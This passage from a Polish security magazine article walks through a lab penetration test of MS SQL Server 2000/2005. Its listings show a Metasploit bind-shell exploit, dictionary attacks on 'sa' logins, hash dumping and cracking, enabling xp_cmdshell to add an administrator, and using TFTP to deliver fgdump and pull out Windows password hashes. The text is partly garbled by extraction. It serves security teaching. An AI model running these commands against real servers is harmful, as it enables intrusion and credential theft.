http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-1123

http://milw0rm.com/metsploit/43

Listing 10. Wykonanie exploit’a Microsoft SQL Server Hello Overflowgsg framework3 # ./msfcli exploit/windows/mssql/ms02_56_hello PAYLOAD=generic/shell_

bin_tcp TARGET=0 RHOST=10.0.0.212 E

[*] Started bind handler

[*] Command shell session 1 opened (10.0.0.211:2614 -> 10.0.0.212:4444)

Microsoft Windows 2000 [Version 5.00.2195]

(c) Copyright 1985 - 1999 Microsoft Corp.

C:\WINNT\system32>exit

gsg framework3 #

Page 8: Test penetracyjny MS SQL Server

ATAK

26 HAKIN9 7-8/2009 27 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

z użyciem algorytmu SHA-1 w tabeli sysxlogins.

W Microsof t SQL Server 2000 można pobrać nazwę użytkownika i hasło (hash) przy użyciu następującego zapytania SQL:

select name, password from

master.sysxlogins

Na Listingu 12 narzędzie FreeTDS tsql jest użyte do wysyłania zapytania do SQL Server 2000. Nazwy użytkownika i hasła przechowywane są w tabelach sysxlogins w głównej bazie danych.

Poświadczenia kont muszą być odpowiednio sformatowane (username, <password hash>) tak, aby mogły być stosowane jako wkładka dla narzędzia SQLPAT.

gsg ~ # cat mssql2000-hashes.txt

gsg 01bf4593b3bb30b0f345345b3n

43494nf3n402455b3n43494nf33942356b

e234eb

grzegorz 934n343b29294593b3bb30b0f

nn9994n3023942356be4n343b2994593b3

bb230

Na Listingu 13 SQLPAT został pobrany za pomocą wget do lokalnej instancji, następnie rozpakowany, skompilowany

by ostatecznie zostać uruchomiony, co skutkuje wyświetleniem zrzutu hasła przez aplikację.

Atak słownikowy jest kompletny, widać, że hashe hasła użytkownika gsg nie zostały złamane. Następnym krokiem będzie wykorzystanie sqlbf w tr ybie Brute Force by odczytać zawartość pozostałych hashy. Listing 15 pokazuje hash hasła użytkownika gsg ekstrahowane do nowego

Listing 11. Atak słownikowy na konta ze słabymi hasłamigsg ~ # sqldict

SQLDICT v1.0.0 by [email protected]

----------------------------------------------

usage: sqldict [options]

-i* <ip|ipfile> to probe

-t port (default 1433) -u* <userfile>

-p* <dicfile>

-r <reportfile>

-v verbose

gsg ~ # sqldict -i 10.0.0.212 -t 1433 -u users.txt -p passwords.txt

IP: 10.0.0.212 User: sa Pass:

gsg ~ # sqldict -i 10.0.0.213 -t 1433 -u users.txt -p passwords.txt

IP: 10.0.0.213 User: sa Pass: grzegorz

Listing 12. Wykorzystanie FreeTDS tsql do pobierania hashy użytkowników magazynowanych w bazie danychgsg ~ # echo -e "select name, password from master..sysxlogins \n go" | \

> tsql -H 10.0.0.212 -p 1433 -U sa -P ""

1> 2> name password

BUILTIN\Administrators NULL

gsg 01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb

grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230

sa NULL

NULL NULL

Listing 13. Pobieranie, kompilowanie i wykonywanie SQLPAT w trybie słownikowymgsg ~ # wget -q http://www.cqure.net/tools/sqlgf-all-src-1.0.1.zip; unzip -qq sqlbf-

all-src-1.0.1.zip

gsg ~ # cd sqlbf; make -is 2> /dev/null; ls ./bin; ./bin/sqlbf; cd ..

sqlbf*

MS SQL Server Password Auditing Tool Version 1.0.1

[email protected]

usage: ./bin/sqlbf -u [options]

Options:

-c <csfile> -the character set

-d <dictionary> - the dictionary file

-u <userfile> -the user & hash file

-r <reportfile> -the report file

gsg ~ #./sqlbf/bin/sqlbf -d dict.txt -u mssql2000-hashes.txt

Starting Dictionary attack on hashes ...

Press <space> for statistics <q> to Quit

User: grzegorz Pw:password

Time elapsed : 0.0000000 seconds.

Approx. guesses per second : inf

Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testugsg ~ # cat users.txt

saprobeopenviewovms_adminovdb_userbbsd-clientnetiqpublictestadminsysadmin

gsg ~ # cat passwords.txt

openviewovmsovdbchangene2netiqsasasasasasapublicgrzegorztesttesttestadminsysadminchangenamepasswordpassword!

Page 9: Test penetracyjny MS SQL Server

ATAK

28 HAKIN9 7-8/2009 29 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

pliku, nie-scrackowany.txt , który jest wykorzystywany jako wkład do ataku Brute Force . Należy pamiętać, że atak siłowy nie będzie wykonywany tak szybko jak słownikowy. Podobnie jak w przypadku wielu innych rodzajów metod Brute Force , ta także może potrwać wiele dni lub tygodni.

Microsoft SQL Server 2005W przypadku Microsof t SQL Server 2005 wartości hasła użytkownika można pobrać za pomocą jednego z następujących zapytań:

- ?Select name, password from

sys.sql_logins

- ?Select name, cast (password as

varbinary(256) )

from sys.syslogins

Po raz kolejny należy użyć narzędzia FreeTDS do stworzenia zapytania dla systemu SQL Server 2005 by uzyskać nazwy użytkowników i hasła, tak jak to pokazano na Listingu 16. SQLPAT i SQLAT nie są zdolne do pracy z hashami serwera SQL Server 2005, dlatego należy je sformatować inaczej i jako narzędzia łamiącego wykorzystamy program Cain&Abel (www.oxid.it/cain.html ) z wykorzystaniem metody słownikowej i Brute Force .

Zdecydowanie zaleca się, aby przed wszystkimi testami przeczytać całą instrukcję obsługi (www.oxid.it/ca_um/ ), co pomaga w zaznajomieniu z jego szeroką funkcjonalnością.

Po uruchomieniu programu Cain&Abel w systemie Windows, należy kliknąć na zakładkę Cracker, wybrać MSSQL Hashes , a następnie ikonę ze znaczkiem plus, aby uruchomić okno Add MSSQL Hashes . Następnie należy wprowadzić pozycje: Salt i Mixcase Hash, tak jak na Rysunku 1.

Teraz, gdy wartości hashy zostały wprowadzone, można wybrać konkretne hashe lub wszystkie. Następnie po wybraniu ich kliknąć prawym przyciskiem myszy i wybrać atak słownikowy lub też metodę Brute Force . W tym przykładzie, wykonany zostanie atak Brute Force.

Wyniki ataku Brute Force są wyświetlane w oknie dialogowym Brute-Force Attack , tak jak na Rysunku 3.

Listing 14. Łamanie hash'y hasła z użyciem metody Brute Force gsg ~ # grep -v '^nexus' mssql2000-hashes.txt > nie-scrackowany.txt

gsg ~ # cat not-cracked.txt

gsg ,0x0100B47BC335BAC32CE87HB47FC723483723443223C772883294E477EB382

gsg ~ # ./sqlbf/bin/sqlbf -c ./sqlbr/default.cm -u not -cracked.txt -r cracked.txtStarting BruteForce attack on hashes ...

Press <space> for statistics <q> to Quit

Listing 15. Zrzut nazwy użytkownika i hash'e hasła z programu Microsoft SQL Server 2005gsg ~ # echo -e "select name, password hash from sys.sql_logins \n go" | \

> tsql -H 10.0.0.213 -p 1433 -U sa -P sasa

1> 2> name password hash

sa 01004086cdb34b456bb3dd33389273dn329100006e9834

gsg 234n349dc34384954bbb2342b282737c3b37283cb23920

gsg ~ #

Listing 16. Uruchomienie programu Sqlanlz i przekierowanie wyjścia do pliku HTMLgsg ~ # sqlanlz

SQLANLZ v1.1.0 by [email protected]

-----------------------------------------------

sqlanlz

-i* <ip|ipfile>

-t port (default 1433) -u username (default sa) -p password

-l logging

-v verbose

gsg ~ # sqlanlz -i 10.0.0.212 -t 1433 -u sa -p "" > sqlanlz-mssql2000.html

gsg ~ # sqlanlz -i 10.0.0.213 -t 1433 -u sa -p grzegorz > sqlanlz-mssql2005.html

Listing 17. Włączenie xp_cmdshell w Microsoft SQL Server 2005

EXEC master..sp_configure 'show advanced options', 1

RECONFIGURE WITH OVERRIDE

EXEC master..sp_configure 'xp_cmdshell', 1

RECONFIGURE WITH OVERRIDE

EXEC master..sp_configure 'show advanced options', 0

SQL Auditing Tools (SQLAT) - SQLExec (sqlquery) - Using "xp_cmdshell" to add a

local administrator account call "nsa".

Add the user "nsa" with the password "Pa$$w0rd!":

Listing 18. Dodanie użytkownika nsa do lokalnej grupy administratorówgsg ~ # sqlquery

SQLExec v1.1.0 by [email protected]

---------------------------------------------

sqluery [options]

-i* <ipaddress>

-t port (default 1433) -q <query> (if ommited execute interactive mode) -u username

-p password

gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net user nsa

Pa$$w0rd! /add'"

SQLExec v1.1.0 by [email protected]

-------------------------------------------------------

output

The command completed successfully.

The command completed successfully.

The command completed successfully.

Page 10: Test penetracyjny MS SQL Server

ATAK

28 HAKIN9 7-8/2009 29 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

Analiza bazy danych Innym doskonałym narzędziem, które jest częścią SQLAT jest sqlanlz . Sqlanlz tworzy on rapor ty w formacie HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur przechowywanych w SQL Server (Listing 17).

Uzyskanie dostępu do systemu operacyjnegoGdy możliwe jest posługiwanie się uprawnieniami administratora Microsof t SQL Server 2000 można uzyskać dostęp do lokalnego administratora systemu operacyjnego za pomocą xp _

cmdshell., co pozwala na wydawanie poleceń z SQL Server bezpośrednio do systemu MS Windows za pomocą poleceń T-SQL.

Dla bezpieczeństwa należy zatem pamiętać, by administrator wyłączył

xp _ cmdshell na Microsof t SQL Server 2000, w przypadku Microsof t SQL Server 2005 ta opcja jest domyślnie wyłączona. Poniższy kod przywróci działanie opcji xp _ cmdshell gdy została wyłączona z sp _ dropextendedproc :

sp_addextendedproc 'xp_

cmdshell','xp_

log70.dll'

Dodawanie użytkownika nsa do lokalnej grupy administratorów, jak pokazano na Listingu 18.

Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy administratorów (Listing 19).

W tym przykładzie użyty zostanie demon protokołu TFT w celu przeniesienia plików do i z programu Microsoft SQL Server za pomocą rozszerzonej procedury przechowywanej xp _ cmdshell.

Uruchamianie TFTPD:

gsg ~ # /usr/bin/start-tftpd

SQLAT: SQLExec (Sqlquery), TFTP i

fgdump.exe

Fgdump (www.foofus.net/fizzgig/fgdump/) to zasadniczo narzędzie do dumpingu haseł w systemie Windows NT/2000/XP/2003/Vista. Posiada wszystkie funkcje programu pwdump . Aby zacząć z nim pracę trzeba pobrać program, następnie zdekompresować go, a na końcu skopiować fgdump.exe do katalogu domowego demona t f tpd , jak to pokazano na Listingu 20.

Zmiana katalogu na c:\tools , przy użyciu klienta TFTP Microsof t SQL Server – pierwszym krokiem jest pobieranie fgdump.exe a następnie uruchomienie go, jak pokazano na Listingu 21.

Za pomocą klienta TFTP można pobrać hashe, tak jak to ilustruje Listing 22.

Po pobraniu hash'y systemu Windows, hasła można złamać za pomocą tęczowych tablic .

Tablice można pobrać ze stron www.freerainbowtables.com/ lub http://rainbowtables.shmoo.com/.

PodsumowaniePrzeanalizowaliśmy krok po kroku, jak można dokonać analizy systemu bazodanowego i przeprowadzić skuteczny atak. Informacje zaprezentowane w przykładach posłużyły do zebrania cennych informacji służących do wykrywania luk w naszym systemie.

Włamywacz musi zebrać jak najwięcej informacji o potencjalnej ofierze, aby atak sieciowy na bazę danych powiódł się, Intruzi próbują dowiedzieć się jak najwięcej o zdalnej maszynie i w tym celu skanują jej por ty oraz badają, jaki system operacyjny na niej działa.

Może się nam teraz nasuwać pytanie: jak skutecznie uniemożliwić lub utrudnić włamanie do zarządzanego przez nas systemu? Niestety nie ma na to dobrego i jednoznacznego przepisu. Przede wszystkim należy postępować uważnie przy konfiguracji systemu. Trzeba też podchodzić do tego zagadnienia z

Listing 19 Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy Administratorzygsg ~ # sqlquery

SQLExec v1.1.0 by [email protected]

---------------------------------------------

sqluery [options]

-i* <ipaddress>

-t port (default 1433) -q <query> (if ommited execute interactive mode) -u username

-p password

gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net localgroup

administrators'"

SQLExec v1.1.0 by [email protected]

........................................................

output

Alias name administrators

Comment Administrators have complete and unrestricted access to the computer/domain

Comment Administrators have complete and unrestricted access to the computer/domain

Members

Members

......................................................................................

Administrator

Nsa

The command completed successfully.

The command completed successfully.

The command completed successfully.

Listing 20. Ściąganie, rozpakowywanie i kopiowanie programu fgdump.exegsg ~ # wget -q http://swamp.foofus.net/fizzgig/fgdump/fgdump-1.6.0-exeonly.tar.bz2

gsg ~ # tar jxvf ./fgdump-1.6.0-exeonly.tar.bz2

Release/fgdump.exe

gsg ~ # cp ./Release/fgdump.exe /tmp/

gsg ~ #

Page 11: Test penetracyjny MS SQL Server

ATAK

30 HAKIN9 7-8/2009

pokorą, czyli przede wszystkim nie należy sądzić, że jest się najlepszym na świecie administratorem. Należy wiedzieć bowiem, że zawsze znajdzie się ktoś lepszy i wykorzysta nasze błędy przeciwko nam. Nie można ufać także bezgranicznie konkretnemu rozwiązaniu czy też systemowi. Każdy system ma błędy i to że używamy systemy otwarte nie oznacza że będziemy odporni na ataki.

Niestety nawet ściana ogniowa nie zabezpieczy naszej bazy danych przed atakiem. Wszelkiego rodzaju zabezpieczenia mają utrudnić atak poprzez zablokowanie automatycznych prób włamania, zniechęcenie atakujących i ukrycie słabych punktów systemu. Nie zagwarantują jednak jego bezpieczeństwa. Mogą natomiast wydłużyć czas potrzebny na sforsowanie wszystkich zabezpieczeń. Najważniejszą dla nas informacją powinno być już to, że ktoś interesuje się na poważnie naszym systemem.

Listing 23. Tworzenie katalogu o nazwie c:\tools na Microsoft SQL Servergsg ~ # sqlquery

SQLExec v1.1.0 by [email protected]

---------------------------------------

sqluery [options]

-i* <ipaddress>

-t port (default 1433) -q <query> (if ommited execute

interactive

mode)

-u username

-p password

gsg ~ # sqlquery -i 10.0.0.212 -t

1433 -q "exec

master..xp_

cmdshell "mkdir

c:\tools'" -u sa

-p'"

SQLExec v1.1.0 by [email protected]

---------------------------------------

output

Listing 21. Uruchomienie aplikacji fgdump.exegsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'cd c:\tools &&

tftp -i 10.0.0.120 GET fgdump.exe'" -u sa -p'"

SQLExec v1.1.0 by [email protected]

------------------------------------------------------

output

Transfer successful: 552960 bytes in 1 second 552960 bytes/s

Transfer successful: 552960 bytes in 1 second 552960 bytes/s

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master.xp_cmdshell 'c:\tools\

fgdump.exe'" -u sa -p'"

SQLExec v1.1.0 by [email protected]

------------------------------------------------------

output

fgDump 1.6.0 - fizzgig and the mighty group at foofus.net

Written to make j0m0kun's life just a bit easier

Copyright (c) 2007 fizzgig and foofus.net

Fgdump comes with ABSOLUTELY NO WARRANTY!

This is free software, and you are welcome to redistribute it

Under certain conditions; see the COPYING and README files formore information.

more information.

No parameters specified, doing a local dump. Specify -7 it you are looking for help.Starting dump on 127.0.0.1

Starting dump on 127.0.0.1

**Beginning local dump **

OS (127.0.0.1): Microsoft Windows 2003 Server

Passwords dumped successfully

Cache dumped successfully

Cache dumped successfully

--------Summary-------------

--------Summary-------------

Failed servers:

NONE

NONE

Successful servers:

127.0.0.1

127.0.0.1

Total failed: 0

Total successful: 1

Total successful: 1

Listing 22. Procedura pobierania hashy z wykorzystaniem tftp.gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i

10.0.0.120 PUT c:\tools\127.0.0.1.pwdump'" -u sa -p ""

SQLExec v1.1.0 by [email protected]

------------------------------------------------------

output

Transfer successful: 616 bytes in 1 second 616 bytes/s

Transfer successful: 616 bytes in 1 second 616 bytes/s

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i

10.0.0.120 PUT c:\tools\127.0.01.cachedump'" -u sa -p ""

SQLEXEC v1.1.0 by [email protected]

---------------------------------------------------------

output

Transfer successful: 216 bytes in 1 second 216 bytes/s

Transfer successful: 216 bytes in 1 second 216 bytes/s'

gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'rd /s /q c:

\tools'" -u sa -p '"

SQLExec v1.1.0 by [email protected]

------------------------------------------------------

output

Grzegorz GałęzowskiAutor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat . Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3.Kontakt z autorem: [email protected]